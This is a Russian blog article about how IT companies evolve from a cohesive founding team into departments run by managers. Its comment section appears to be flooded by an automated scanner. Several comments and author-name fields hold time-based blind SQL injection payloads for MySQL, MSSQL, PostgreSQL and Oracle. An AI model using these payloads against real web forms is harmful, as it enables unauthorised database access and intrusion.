С 2008 года я в качестве консультанта и бизнес тренера посещаю различные IT компании. В некоторых провожу день-два, с другими работаю довольно долго. В последнее время я плотно работаю с 10-15 компаниями в год.
Недавно у меня появилось новое хобби – угадывать основные проблемы, с которыми сталкиваются проекты в таких компаниях, по описанию структуры компании.
Я не гений и не пророк. Далеко нет. Просто мне кажется, что я нашел некоторую очень типичную линию развития компаний (pattern, если хотите), которая позволяет довольно точно воспроизводить текущую фазу развития компании со всеми присущими характеристиками.
В 2012 году я осмелился обобщить свои наблюдения в виде доклада, с которым выступил на нескольких крупных конференциях. В частности, на Agile Eastern Europe, Agile Turas и PM Conf. Доклад, к моему удивлению (он несколько упрощенно представляет мою модель), был хорошо принят аудиторией и привлек довольно много дискуссий после конференций.
Эта статья – не слайд-каст, а скорее описание моих наблюдений о типичной эволюции компаний с использованием иллюстраций из доклада.
- Как типично развиваются компании?
- Откуда и когда появляются менеджеры?
- В чем суть правильного менеджмента?
- Какова роль менеджера в Agile-проектах?
- Что такое Agile-организация?
- Как в ней выглядит роль менеджера?
Этими вопросами я задавался готовя свой доклад и эту статью. Но, чтобы понять всю цепочку эволюции компаний, нам нужно начать с самого начала…
В книге “Founders at work” приводятся десятки историй известных компаний – от первых дней компаний до миллиардов на счету:
Говоря обобщенно, компания начинается вокруг нескольких идеологов.
Они настолько громко начинают мечтать о завоевании мира, что к ним присоединяются еще несколько человек.
Так формируется первая команда компании.
Чем интересна эта команда?
Во-первых, структурой.
Эта команда объединяет все роли и все виды специальностей, которые совместно могут реализовать идею в продукте – “from concept to cash”.
Во-вторых, своей близостью к основателям, которые ежедневно вдохновляют всех своей личной верой в успех.
В-третьих, как следствие из предыдущего, своей когерентностью.
Все настолько сильно объединены общей идеей, что работают как единый организм. И обычно по много часов в сутки. И при этом без выделенного менеджера, который бы раздавал задачи, контролировал прогресс и замерял мотивацию персонала.
Идеальная Скрам-команда, не правда ли?
Но наступает тот день, когда основатель начинает быть обеспокоен вопросами масштабирования.
С этого момента начинается бесконечный рост компании, гарантируемый законом Паркинсона и подгоняемый корыстными целями стейкхолдеров.
Слева растет как на грибах отдел аналитиков. Справа – отдел разработчиков.
По центру – гордый отдел дизайнеров из одного арт-директора, который, благодаря своему таланту, обычно справляется сам со всеми задачами дизайна.
Так обычно продолжается до тех пор, пока главный аналитик и руководитель программистов начинают не выдерживать.
И ведь правда – они были взяты на работу в “dream team” в первую очередь благодаря своим профессиональным навыкам. Они были первоклассным аналитиком и супер-программистом. А теперь всё, чем они занимаются – это менеджмент своих подчиненных.
Согласно принципу Питера ”работники компании растут до максимума своей некомпетентности”, и где-то наступает предел.
Первые люди уходят из компании, сетуя на то, что “она уже не та, что была раньше”. Или же само-понижаются от руководителей до инженеров – туда, где работа в кайф (пример всем известного Стивена Возняка из Apple).
Тут-то и начинается поиск и найм менеджеров, которые “придут и все исправят”.
И вот именно с этого момента компания уже больше никогда не будет такой, как прежде…
Но давайте копнём глубже – что вызвало необходимость построения дополнительной прослойки менеджмента?
Устранит ли привлечение новых менеджеров причины проблемы?
Поможет ли найм новых менеджеров решить проблему отсутствия вовлечённости сотрудников, которые не видят основателя, не знают стратегию и цели компании?
Смогут ли менеджеры компенсировать нехватку синхронизации между растущими отделами?
Я считаю, что зачастую найм менеджеров призван лечить симптомы, а не глубинные причины, вызванные ростом компании. Это всё равно, что вычерпывать воду из дырявой лодки.
А проблем в большой компании обычно немало:
Теперь наша компания выглядит примерно так:
И сказать, что стало сильно лучше, нельзя. Ведь теперь обычные работники ещё больше отдалены от основателя, менеджеры заняты микроменеджментом своих отделов, а работники – своими узкопрофильными задачами.
Компания начинает стареть. Ведь она все дальше и дальше уходит от своей начальной успешной структуры – самоорганующейся высокомотивированной команды первоклассных специалистов, верящих в идею и совместный успех.
Во второй части статьи я покажу, как в компаниях типично внедряются процессы оптимизации, основанные на метриках. И к чему это обычно приводит.
А в третьей части мы попробуем омолодить компанию, перестроив её по первоначальному принципу цельных команд.
Но сначала подбавим кризиса метриками…
Не переключайтесь!
Статья переопубликована с http://scrumguides.com.ua
Write a comment
ZMskyuza (Wednesday, 26 October 2022 17:18)
20
ZMskyuza (Wednesday, 26 October 2022 20:56)
20
ZMskyuza (Wednesday, 26 October 2022 20:57)
20
ZMskyuza (Wednesday, 26 October 2022 20:58)
20
ZMskyuza (Wednesday, 26 October 2022 20:59)
20
ZMskyuza (Wednesday, 26 October 2022 20:59)
20
ZMskyuza (Wednesday, 26 October 2022 21:00)
20
ZMskyuza (Wednesday, 26 October 2022 21:01)
20
ZMskyuza (Wednesday, 26 October 2022 21:01)
20
ZMskyuza (Wednesday, 26 October 2022 21:02)
20
ZMskyuza (Wednesday, 26 October 2022 21:03)
20
ZMskyuza (Wednesday, 26 October 2022 21:04)
20
ZMskyuza (Wednesday, 26 October 2022 21:05)
20
ZMskyuza (Wednesday, 26 October 2022 21:05)
20
ZMskyuza (Wednesday, 26 October 2022 21:06)
20
ZMskyuza (Wednesday, 26 October 2022 21:07)
20
ZMskyuza (Wednesday, 26 October 2022 21:08)
20
ZMskyuza (Wednesday, 26 October 2022 21:08)
20
ZMskyuza (Wednesday, 26 October 2022 21:09)
20
ZMskyuza (Wednesday, 26 October 2022 21:10)
20
ZMskyuza (Wednesday, 26 October 2022 21:11)
20
ZMskyuza (Wednesday, 26 October 2022)
if(now()=sysdate(),sleep(15),0)
ZMskyuza (Wednesday, 26 October 2022 21:12)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ZMskyuza (Wednesday, 26 October 2022 21:13)
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ZMskyuza (Wednesday, 26 October 2022 21:14)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ZMskyuza (Wednesday, 26 October 2022 21:14)
-1; waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 21:15)
-1); waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 21:16)
1 waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 21:17)
opxP2tYA'; waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 21:18)
-5 OR 110=(SELECT 110 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:19)
-5) OR 298=(SELECT 298 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:20)
-1)) OR 910=(SELECT 910 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022)
5WZ6Ycxo' OR 210=(SELECT 210 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:21)
uDWYOuDx') OR 260=(SELECT 260 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:22)
byXPASZ0')) OR 426=(SELECT 426 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:23)
20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ZMskyuza (Wednesday, 26 October 2022 21:24)
20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ZMskyuza (Wednesday, 26 October 2022 21:25)
20
ZMskyuza (Wednesday, 26 October 2022 21:26)
20
ZMskyuza (Wednesday, 26 October 2022 21:27)
20
ZMskyuza (Wednesday, 26 October 2022 21:28)
20
ZMskyuza (Wednesday, 26 October 2022 21:29)
20
ZMskyuza (Wednesday, 26 October 2022)
20
ZMskyuza (Wednesday, 26 October 2022 21:30)
20
ZMskyuza (Wednesday, 26 October 2022 21:31)
20
ZMskyuza (Wednesday, 26 October 2022 21:32)
20
ZMskyuza (Wednesday, 26 October 2022 21:33)
20
ZMskyuza (Wednesday, 26 October 2022 21:34)
20
ZMskyuza (Wednesday, 26 October 2022 21:35)
20
ZMskyuza (Wednesday, 26 October 2022 21:35)
20
ZMskyuza (Wednesday, 26 October 2022 21:36)
20
ZMskyuza (Wednesday, 26 October 2022 21:37)
20
ZMskyuza (Wednesday, 26 October 2022 21:38)
20
ZMskyuza (Wednesday, 26 October 2022 21:39)
20
ZMskyuza (Wednesday, 26 October 2022 21:40)
20
ZMskyuza (Wednesday, 26 October 2022 21:40)
20
ZMskyuza (Wednesday, 26 October 2022 21:41)
20
ZMskyuza (Wednesday, 26 October 2022 21:42)
20
ZMskyuza (Wednesday, 26 October 2022 21:43)
20
ZMskyuza (Wednesday, 26 October 2022 21:44)
20
ZMskyuza (Wednesday, 26 October 2022 21:45)
20
ZMskyuza (Wednesday, 26 October 2022 21:46)
20
ZMskyuza (Wednesday, 26 October 2022 21:46)
20
ZMskyuza (Wednesday, 26 October 2022 21:47)
20
ZMskyuza (Wednesday, 26 October 2022 21:48)
20
ZMskyuza (Wednesday, 26 October 2022 21:49)
20
ZMskyuza (Wednesday, 26 October 2022 21:50)
20
ZMskyuza (Wednesday, 26 October 2022 21:51)
20
ZMskyuza (Wednesday, 26 October 2022 21:52)
20
ZMskyuza (Wednesday, 26 October 2022 22:05)
20
ZMskyuza (Wednesday, 26 October 2022 22:06)
20
if(now()=sysdate(),sleep(15),0) (Wednesday, 26 October 2022 22:07)
20
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z (Wednesday, 26 October 2022 22:08)
20
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z (Wednesday, 26 October 2022 22:08)
20
1 waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 22:10)
20
zoQhkxx9'; waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 22:11)
20
A9Ah6KBH' OR 429=(SELECT 429 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 22:11)
20
rCWkgVOR') OR 101=(SELECT 101 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 22:12)
20
jqkTwDgT')) OR 585=(SELECT 585 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 22:13)
20
ZMskyuza'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' (Wednesday, 26 October 2022 22:14)
20
ZMskyuza (Wednesday, 26 October 2022 22:15)
20
ZMskyuza (Wednesday, 26 October 2022 22:15)
20
ZMskyuza (Wednesday, 26 October 2022 22:16)
20
ZMskyuza (Wednesday, 26 October 2022 22:17)
20
ZMskyuza (Wednesday, 26 October 2022 22:18)
20
ZMskyuza (Wednesday, 26 October 2022 22:18)
20
ZMskyuza (Wednesday, 26 October 2022 22:19)
20
ZMskyuza (Wednesday, 26 October 2022 22:20)
20
ZMskyuza (Wednesday, 26 October 2022 22:21)
20
ZMskyuza (Wednesday, 26 October 2022 22:22)
20
ZMskyuza (Wednesday, 26 October 2022 22:23)
20
ZMskyuza (Wednesday, 26 October 2022 22:23)
20
ZMskyuza (Wednesday, 26 October 2022 22:24)
20
ZMskyuza (Wednesday, 26 October 2022 22:25)
20
ZMskyuza (Wednesday, 26 October 2022 22:26)
20
ZMskyuza (Wednesday, 26 October 2022 22:26)
20
ZMskyuza (Wednesday, 26 October 2022 22:27)
20
ZMskyuza (Wednesday, 26 October 2022 22:28)
20
ZMskyuza (Wednesday, 26 October 2022 22:28)
20
ZMskyuza (Wednesday, 26 October 2022 22:29)
20
ZMskyuza (Wednesday, 26 October 2022 22:30)
20
ZMskyuza (Wednesday, 26 October 2022 22:31)
20
ZMskyuza (Wednesday, 26 October 2022 22:31)
20
ZMskyuza (Wednesday, 26 October 2022 22:32)
20
ZMskyuza (Wednesday, 26 October 2022 22:33)
20
ZMskyuza (Wednesday, 26 October 2022 22:34)
20
ZMskyuza (Wednesday, 26 October 2022 22:35)
20
ZMskyuza (Wednesday, 26 October 2022 22:35)
20
ZMskyuza (Wednesday, 26 October 2022 22:36)
20
ZMskyuza (Wednesday, 26 October 2022 22:37)
20
ZMskyuza (Wednesday, 26 October 2022 22:37)
20
ZMskyuza (Wednesday, 26 October 2022 22:38)
20
ZMskyuza (Wednesday, 26 October 2022 22:39)
20
ZMskyuza (Wednesday, 26 October 2022 22:39)
20
ZMskyuza (Wednesday, 26 October 2022 22:40)
20
ZMskyuza (Wednesday, 26 October 2022 22:41)
20
ZMskyuza (Wednesday, 26 October 2022 22:42)
20
ZMskyuza (Wednesday, 26 October 2022 22:42)
20
ZMskyuza (Wednesday, 26 October 2022 22:43)
20
ZMskyuza (Wednesday, 26 October 2022 22:44)
20
ZMskyuza (Wednesday, 26 October 2022 22:45)
20
ZMskyuza (Wednesday, 26 October 2022 22:46)
20
ZMskyuza (Wednesday, 26 October 2022 22:46)
20
ZMskyuza (Wednesday, 26 October 2022 22:47)
20
ZMskyuza (Wednesday, 26 October 2022 22:48)
20
ZMskyuza (Wednesday, 26 October 2022)
20
ZMskyuza (Wednesday, 26 October 2022 22:49)
20
ZMskyuza (Wednesday, 26 October 2022 22:50)
20
ZMskyuza (Wednesday, 26 October 2022 23:07)
20
ZMskyuza (Thursday, 27 October 2022 01:02)
20
ZMskyuza (Thursday, 27 October 2022 02:07)
20